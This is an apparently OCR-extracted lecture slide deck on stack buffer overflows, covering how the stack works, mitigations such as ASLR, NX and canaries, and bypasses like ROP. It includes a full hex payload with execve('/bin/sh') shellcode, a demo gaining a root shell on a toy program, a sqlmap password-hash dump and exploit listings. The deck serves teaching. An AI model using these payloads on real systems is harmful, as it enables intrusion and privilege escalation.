

Overflowing the stack

;0x400a14 : "By Redouane"



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59 8 9 3

Hacker

```
0x40086f ;[gr]
lea rax, qword [local_b0h]
; const char * s2
; " "
lea rsi, qword 0x00400b1b
; char *s1
mov rdi, rax
call sym.imp.strtok;[gp]
mov qword [local_10h], rax
cmp qword [local_10h], 0
jne 0x4008a6;[gq]
```

```
0x400977 ;[gn]
nop
```

```
0x400890 ;[gs]
; const char * s
```

```
0x4008a6 ;[gq]
mov rax, qword [local_10h]
```


```
0x400978 ;[gx]
; JMP XREF from 0x00400975 (sym.main)
```

Program

- Introduction : What are security vulnerabilities
- How do programs execute ?
- What are stack overflows ?
- Stack overflows from a hacker's point of view
- Modern security measures against
- Stack exploitation on modern systems

Introduction

- Security vulnerabilities are issues that developers did not expect in their products
- They can lead to the leakage of their sensitive data, or even to the compromise of their systems



```
Fichier Edition Onglets Aide
> 1
[02:27:08] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[02:27:14] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[02:27:14] [INFO] starting 4 processes
[02:27:21] [WARNING] no clear password(s) found
[02:27:21] [INFO] postprocessing table dump
Database: littlequery
Table: user
[1 entry]
+-----+-----+-----+
| uid | username | password |
+-----+-----+-----+
| 1 | admin | 5896e92d38ee883cc09ad6f88df4934f6b074cf8 |
+-----+-----+-----+

[02:27:21] [INFO] table 'littlequery.`user`' dumped to CSV file '/home/redouane/.sqlmap/output/littlequery.chal.csaw.io/dump/littlequery/user.csv'
[02:27:21] [INFO] fetched data logged to text files under '/home/redouane/.sqlmap/output/littlequery.chal.csaw.io'

[*] shutting down at 02:27:21

redouane@Red-Dell:~$
```


An administrator password being disclosed after SQLi (using sqlmap)

How do programs execute ?

- The processor executes a set of instructions sequentially
- These instructions perform calculations, comparisons, and various other operations
- Each program has a virtual address space that ranges from 0 to 0x7fffffff if its in 32bit mode, or 0x7ff'ffffffff if in 64bit mode

The Stack

- The stack holds the local variables of functions, as well as the addresses where they return



What are stack overflows ?

- Stack overflows happen when data is written where it shouldn't on the stack, thus overwriting

```
Legend: code, data, rodata, value
gdb-|0x00000000004005f8 in main ()
0000 gdb-peda$ telescope 25
0008 0000| 0x7fffffffef70 ('a' <repeats 200 times>...)
0016 0008| 0x7fffffffef78 ('a' <repeats 200 times>...)
0024 0016| 0x7fffffffef80 ('a' <repeats 200 times>...)
0032 0024| 0x7fffffffef88 ('a' <repeats 200 times>...)
0040 0032| 0x7fffffffef90 ('a' <repeats 200 times>...)
0048 0040| 0x7fffffffef98 ('a' <repeats 200 times>...)
0056 0048| 0x7fffffffefa0 ('a' <repeats 200 times>...)
0064 0056| 0x7fffffffefa8 ('a' <repeats 200 times>...)
0072 0064| 0x7fffffffefb0 ('a' <repeats 200 times>...)
0080 0072| 0x7fffffffefb8 ('a' <repeats 200 times>...)
0088 0080| 0x7fffffffefc0 ('a' <repeats 200 times>...)
0096 0088| 0x7fffffffefc8 ('a' <repeats 200 times>...)
0104 0096| 0x7fffffffefd0 ('a' <repeats 200 times>...)
0112 0104| 0x7fffffffefd8 ('a' <repeats 200 times>...)
0120 0112| 0x7fffffffefe0 ('a' <repeats 200 times>...)
0128 0120| 0x7fffffffefe8 ('a' <repeats 200 times>...)
0136 0128| 0x7fffffffefef ('a' <repeats 200 times>...)
0144 0136| 0x7fffffffefef ('a' <repeats 200 times>...)
0152 0144| 0x7fffffffefef ('a' <repeats 200 times>...)
0160 0152| 0x7fffffffefef ('a' <repeats 200 times>...)
0168 0160| 0x7fffffffefef ('a' <repeats 200 times>...)
0176 0168| 0x7fffffffefef ('a' <repeats 200 times>...)
0184 0176| 0x7fffffffefef ('a' <repeats 200 times>...)
0192 0184| 0x7fffffffefef ('a' <repeats 200 times>...)
--More--
0192| 0x7fffffffefef ('a' <repeats 200 times>...)
--More-- (25/25)
```

The stack after the overflow

ffer")

What are stack overflows ?

Segmentation Fault ! The program tried to return to « **aaaaaaaa** », which isn't a valid address

```
R11: 0x246
R12: 0x4004c0 (<_start>:      xor    ebp,ebp)
R13: 0x7fffffffefc0 ('a' <repeats 200 times>...)
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
    0x40060b <main+116>: call    0x4004a0 <printf@plt>
    0x400610 <main+121>: mov     eax,0x0
    0x400615 <main+126>: leave
=> 0x400616 <main+127>: ret
    0x400617:      nop     WORD PTR [rax+rax*1+0x0]
    0x400620 <__libc_csu_init>: push   r15
    0x400622 <__libc_csu_init+2>: push   r14
    0x400624 <__libc_csu_init+4>: mov     r15,rdx
[-----stack-----]
0000| 0x7fffffffef0e8 ('a' <repeats 200 times>...)
0008| 0x7fffffffef0f0 ('a' <repeats 200 times>...)
0016| 0x7fffffffef0f8 ('a' <repeats 200 times>...)
0024| 0x7fffffffef100 ('a' <repeats 200 times>...)
0032| 0x7fffffffef108 ('a' <repeats 200 times>...)
0040| 0x7fffffffef110 ('a' <repeats 200 times>...)
0048| 0x7fffffffef118 ('a' <repeats 200 times>...)
0056| 0x7fffffffef120 ('a' <repeats 200 times>...)
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400616 in main ()
gdb-peda$ █
```


Stack overflows from a Hacker's point of view

- Let's take a simple example :

```
1  #include<stdio.h>
2
3  int main()
4  {
5      [redouane@Red-Dell]--[~/infosec/anglais/presentation]
6      $ ./buffer
7      Enter your name, I will just say hello
8      Redouane
9      Good, I got your name, hello Redouane!
10     -> x = 12345678
11     [redouane@Red-Dell]--[~/infosec/anglais/presentation]
12     $ █
13
14
15     printf("Good, I got your name, hello %s!\n -> x = %08x\n", name, x);
16     return 0;
17 }
```

This program will just ask for a name, then display hello with the given name, then display x

Stack overflows from a Hacker's point of view

- As you've seen, we have fixed the maximum size of the name to 70 characters, what if it's longer?

[illegible]

What happened when we sent a very long name to the program


Stack overflows from a Hacker's point of view

- We notice two things :
 - $X = 61616161$?!?: because 'a' = 0x61, and it overwrote the value of x
 - Segmentation fault : because our long name overwrote the return address of main, so the program tried to return to 0x6161616161616161
- Let's force it to execute malicious things !

Stack overflows from a Hacker's point of view

- Our name will look like :
- [Nop sled] + [CODE] + <an address in padding>
- We will overwrite the return address with a stack address that is in the middle of the nop sled
- The nop sled won't do anything, execution will continue until it hits our code

Stack overflows from a Hacker's point of view



Stack overflows from a Hacker's point of view

```
Linux/x86-64 - execve(/bin/sh) + Null-Free Shellcode (30 bytes) | https://www.exploit-db.com/exploits/37362/
Linux/x86-64 - execve(/bin/sh) -c reboot Shellcode (89 bytes) | https://www.exploit-db.com/exploits/40808/
Linux/x86-64 - execve(/bin/sh) Shellcode (21 bytes) | https://www.exploit-db.com/exploits/41750/
Linux/x86-64 - execve(/bin/sh) Shellcode (22 bytes) | https://www.exploit-db.com/exploits/41174/
Linux/x86-64 - execve(/bin/sh) Shellcode (24 bytes) | https://www.exploit-db.com/exploits/42179/
Linux/x86-64 - execve(/bin/sh) Shellcode (25 bytes) (1) | https://www.exploit-db.com/exploits/39624/
Linux/x86-64 - execve(/bin/sh) Shellcode (26 bytes) | https://www.exploit-db.com/exploits/39617/
Linux/x86-64 - execve(/bin/sh) Shellcode (30 bytes) | https://www.exploit-db.com/exploits/13691/
Linux/x86-64 - execve(/bin/sh) Shellcode (31 bytes) (1) | https://www.exploit-db.com/exploits/42126/
Linux/x86-64 - execve(/bin/sh) Shellcode (31 bytes) (2) | https://www.exploit-db.com/exploits/41883/
Linux/x86-64 - execve(/bin/sh) Shellcode (33 bytes) | https://www.exploit-db.com/exploits/13464/
Linux/x86-64 - execve(/bin/sh) Shellcode (34 bytes) | https://www.exploit-db.com/exploits/38150/
Linux/x86-64 - execve(/bin/sh) Shellcode (52 bytes) | https://www.exploit-db.com/exploits/18197/
Linux/x86-64 - execve(/bin/sh) Via Push Shellcode (23 bytes) | https://www.exploit-db.com/exploits/36858/
:█
```

Choice of the code to inject

→ We will choose the first one, it will execute the system shell, which should give us root access !

Stack overflows from a Hacker's point of view

Legend: code, data, rodata, value

`gdb-peda$ hexdump $rsp 200`

```
0x00007fffffffe0a0 : 52 65 64 6f 75 61 6e 65 30 78 66 66 00 00 00 00 Redouane0xff....
0x00007fffffffe0b0 : c2 00 00 00 00 00 00 00 e6 e0 ff ff ff 7f 00 00 .....
0x00007fffffffe0c0 : 01 00 00 00 00 00 00 00 e5 20 ac f7 ff 7f 00 00 .....
0x00007fffffffe0d0 : 01 00 00 00 00 00 00 00 6d 06 40 00 00 00 00 00 .....m.@.....
0x00007fffffffe0e0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x00007fffffffe0f0 : 54 68 69 73 20 69 73 20 61 6e 6f 74 68 65 72 20 This is another
0x00007fffffffe100 : 76 61 72 69 61 62 6c 65 00 00 00 00 78 56 34 12 variable....xV4.
0x00007fffffffe110 : 20 06 40 00 00 00 00 00 2a 2f a4 f7 ff 7f 00 00 .@.....*/.....
0x00007fffffffe120 : 00 00 00 00 00 00 00 00 f8 e1 ff ff ff 7f 00 00 .....
0x00007fffffffe130 : 00 00 04 00 01 00 00 00 97 05 40 00 00 00 00 00 .....@.....
0x00007fffffffe140 : 00 00 00 00 00 00 00 00 8b ee 59 4b fe a9 79 86 .....YK..y.
0x00007fffffffe150 : c0 04 40 00 00 00 00 00 f0 e1 ff ff ff 7f 00 00 ..@.....
0x00007fffffffe160 : 00 00 00 00 00 00 00 00 .....
gdb-peda$ █
```

`0x7fffffffe0a0` should land in our nop-sled

Our final name : NOP-SLED + [30 CHARS `execve(/bin/sh)`] + `0x7fffffffe0a0`

Stack overflows from a Hacker's point of view

00000000	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90
00000010	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90
00000020	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90
00000030	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90
00000040	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90
00000050	90	90	90	90	90	90	90	48	31	F6	48	B9	2F	62	69	6E
00000060	2F	73	68	11	48	C1	E1	08	48	C1	E9	08	51	48	8D	3C
00000070	<u>24</u>	48	31	D2	B0	3B	0F	05	A0	E0	FF	FF	FF	7F	00	00

Our malicious name

Stack overflows from a Hacker's point of view

```
└─[redouane@Red-Dell]-[~/infosec/anglais/presentation]
```

\$id

```
uid=1000(redouane) gid=1000(redouane) groupes=1000(redouane),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),121(debian-tor),127(bluetooth)
```

```
└─[redouane@Red-De11]-[~/infosec/anglais/presentation]
```

```
$python doit.py
```

```
[+] Starting local process '/home/redouane/infosec/anglais/presentation/buffer': pid 16309
```

```
[*] Switching to interactive mode
```

Enter your name, I will just say hello

[illegible]

-> $x = 3c8d4851$

\$ id

```
uid=1000(redouane) gid=1000(redouane) euid=0(root) egid=0(root) groups=0(root) 24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),121(debian-tor),127(bluetooth),1000(redouane)
```

\$

PWNed !!! We are root

Stack overflows from a Hacker's point of view

- What can be done :
 - **Local Privilege Escalation** : The ability to gain higher privileges on a system
 - **Remote Exploitation** : The ability to control the computer of a victim remotely

Modern security measures against Stack Overflows

- **ASLR** (Address Space Layout Randomization) :
 - The addresses of the memory regions that the operating system allocates for the program are randomized at each execution
 - In our previous example , it would make the address of our nop-sled unpredictable

Modern security measures against Stack Overflows

- **DEP** (Don't Execute Protection, or **NX**) :
 - Marks the memory regions like the stack, the heap, the BSS etc. as non-executable
 - In our previous example, the program would segfault just after landing on the nop-sled

Modern security measures against Stack Overflows

- **SSP** (Stack Smashing Protector) :
 - Acts like a red line that detects the overflows
 - In our previous example, the program would detect the overflow, and never return

Modern security measures against Stack Overflows

Legend: code, data, rodata, value

`gdb-peda$ telescope 25`

```
0000| 0x7fffffff0000 --> 0x7ffff7ffe6f0 --> 0x7ffff7ffa000 (jg      0x7ffff7ffa047)
0008| 0x7fffffff0008 --> 0x1f7b9b807
0016| 0x7fffffff0010 --> 0xffffffff
0024| 0x7fffffff0018 --> 0x4433221199887766
0032| 0x7fffffff0020 ("this is a fun2 variable.")
0040| 0x7fffffff0028 ("a fun2 variable.")
0048| 0x7fffffff0030 ("variable.")
0056| 0x7fffffff0038 --> 0x0
0064| 0x7fffffff0040 --> 0x0
0072| 0x7fffffff0048 --> 0x6c80818654473200 ← Stack Canary
0080| 0x7fffffff0050 --> 0x7fffffff00a0 --> 0x7fffffff00f0 --> 0x400720 (<__libc_csu_init>:      push    r15)
0088| 0x7fffffff0058 --> 0x400685 (<fun1+107>:  nop)
0096| 0x7fffffff0060 --> 0xdadadada65656565
0104| 0x7fffffff0068 --> 0xffffffff44444444
0112| 0x7fffffff0070 ("this is a fun1 variable.")
0120| 0x7fffffff0078 ("a fun1 variable.")
0128| 0x7fffffff0080 ("variable.")
0136| 0x7fffffff0088 --> 0xf0b500
0144| 0x7fffffff0090 --> 0xc2
0152| 0x7fffffff0098 --> 0x6c80818654473200 ← Stack Canary
0160| 0x7fffffff00a0 --> 0x7fffffff00f0 --> 0x400720 (<__libc_csu_init>:      push    r15)
0168| 0x7fffffff00a8 --> 0x4006f9 (<main+93>:  lea     rdi,[rip+0xac]      # 0x4007ac)
0176| 0x7fffffff00b0 --> 0x1
0184| 0x7fffffff00b8 --> 0x1234567887654321
0192| 0x7fffffff00c0 ("this is a main variable.")
--More--(25/25)█
```

The layout of a stack protected with canaries

Stack exploitation on modern systems

- How to bypass all these protections, and more ?

```
[#0] 0x5555555549a3 → Name: main()
```

```
Breakpoint 1, 0x00005555555549a3 in main ()
```

```
gef> checksec
```

```
[+] checksec for '/home/redouane/infosec/anglais/presentation/buf2'
```

```
Canary : Yes → value: 0x73b6de8b72116c00
```

```
NX : Yes
```

```
PIE : Yes
```

```
Fortify : No
```

```
RelRO : Full
```

```
gef> █
```

- Lots of papers have been published in the last few years

Stack exploitation on modern systems

- Information leakage (bypass to **ASLR**, **PiE**, **SSP**) :
 - If the attacker is able to force the program to display an address that is randomized, then he will defeat the randomization on the given region
 - Similarly, if he can leak the canary, he will be able to overflow the stack without being detected

Stack exploitation on modern systems

- Code reuse attacks (**ROP** : Return Oriented Programming and its variants) : Bypasses **DEP**
 - Clever technique
 - Instead of returning to a payload, the attacker selects some « **gadgets** » from the .text section, and the program will just keep executing already existing code
 - Common **ROP** patterns : **Ret2libc**, **Ret2reg**, **ret2main**

Stack exploitation on modern systems

0x8048948:
mov rdi,rsi
ret
0x804921e:
add rdi, 0x1b
ret
0x8047895:
pop rax
ret
0x8044912:
xor rsi, rsi
ret
0x8045510:
syscall

```
aaaaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaa  
/bin/sh0 aaaaaaaaaaaaaa
```

0x8048948
0x804921e
0x804921e
0x8047895
0x000003b
0x8044912
0x8045510

Sample **ROP** Chain

Stack exploitation on modern systems

- Return to **mprotect** (bypass to **DEP**) :
 - If the attacker finds a way to call mprotect, he will be able to make the stack executable again
 - Can be part of a **ROP** attack

Stack exploitation on modern systems

ZOC SSH Client - Buffer Overflow (SEH) (PoC)	exploits/windows/dos/37068.py
ZSNES 1.51 - Local Buffer Overflow	exploits/linux/local/37975.py
ZScada Modbus Buffer 2.0 - Stack Buffer Overflow (Metasploit)	exploits/windows/remote/42691.rb
ZTE PC UI USB Modem Software - Local Buffer Overflow	exploits/windows/local/38219.py
Zenturi NixonMyPrograms Class 'sasatl.dll 1.5.0.531' - Remote Buffer Overflow	exploits/windows/remote/4214.html
Zenturi ProgramChecker - ActiveX 'sasatl.dll' Remote Buffer Overflow	exploits/windows/remote/4021.html
Zervit Web Server 0.02 - Remote Buffer Overflow (PoC)	exploits/windows/dos/8447.txt
Zervit Web Server 0.04 - GET Remote Buffer Overflow (PoC)	exploits/windows/dos/8721.pl
Zeus Web Server 4.x - 'SSL2_CLIENT_HELLO' Remote Buffer Overflow (PoC)	exploits/multiple/dos/33531.py
Zinf Audio Player 2.2.1 - '.gqmpeg' Buffer Overflow (PoC)	exploits/windows/dos/7890.pl
Zinf Audio Player 2.2.1 - '.pls' Local Buffer Overflow (DEP Bypass)	exploits/windows/local/17600.rb
Zinf Audio Player 2.2.1 - '.pls' Local Stack Buffer Overflow (Metasploit)	exploits/windows/local/16688.rb
Zinf Audio Player 2.2.1 - '.pls' Universal Local Buffer Overflow	exploits/windows/local/7888.pl
Zinf Audio Player 2.2.1 - Local Buffer Overflow	exploits/windows/local/559.c
Zip Unzip 6.0 - '.zip' Local Stack Buffer Overflow	exploits/windows/local/12024.php
ZipCentral - '.zip' Local Buffer Overflow (SEH)	exploits/windows/local/14433.pl
ZipCentral 4.01 - '.ZIP' File Handling Local Buffer Overflow	exploits/windows/local/2278.cpp
ZipGenius 6.3.1.2552 - 'zgtips.dll' Local Stack Buffer Overflow	exploits/windows/local/12326.py
ZipGenius 6.3.2.3000 - '.zip' Local Buffer Overflow	exploits/windows/local/17511.pl
ZipX 1.71 - '.ZIP' File Buffer Overflow	exploits/windows/local/17783.pl
ZippHo 3.0.6 - '.zip' Local Stack Buffer Overflow	exploits/windows/local/11797.py
ZoneAlarm Security Suite 7.0 - AntiVirus Directory Path Buffer Overflow (PoC)	exploits/windows/dos/32356.txt
Zoner Photo Studio 15 b3 - Buffer Overflow (PoC)	exploits/windows/dos/22685.txt
Zoo 2.10 - Parse.c Local Buffer Overflow	exploits/windows/dos/27425.txt
Zoom Linux Client 2.0.106600.0904 - Stack-Based Buffer Overflow (PoC)	exploits/linux/dos/43355.txt
Zoom Player Pro 3.30 - '.m3u' Local Buffer Overflow (SEH)	exploits/windows/local/8541.php
aGSM 2.35 Half-Life Server - Info Response Buffer Overflow (PoC)	exploits/multiple/dos/24388.txt
aSc Timetables 2013 - Local Stack Buffer Overflow	exploits/windows/local/26409.py
aSc Timetables 2017 - Local Buffer Overflow	exploits/windows/local/41031.txt
abctab2ps 1.6.3 - 'Trim_Title' '.ABC' File Remote Buffer Overflow	exploits/windows/remote/25029.txt
abctab2ps 1.6.3 - 'Write_Heading' '.ABC' Remote Buffer Overflow	exploits/windows/remote/25027.txt
acFTP FTP Server 1.4 - 'USER' Remote Buffer Overflow (PoC)	exploits/windows/dos/1749.pl

Some buffer overflow exploits on Exploit Database

Conclusion

- No system is secure
- It's the programmer's responsibility to secure his source code
- Instead of trying to complicate the exploitation of stack overflows, we should tackle the problem at its root

Thank you !

Any questions ?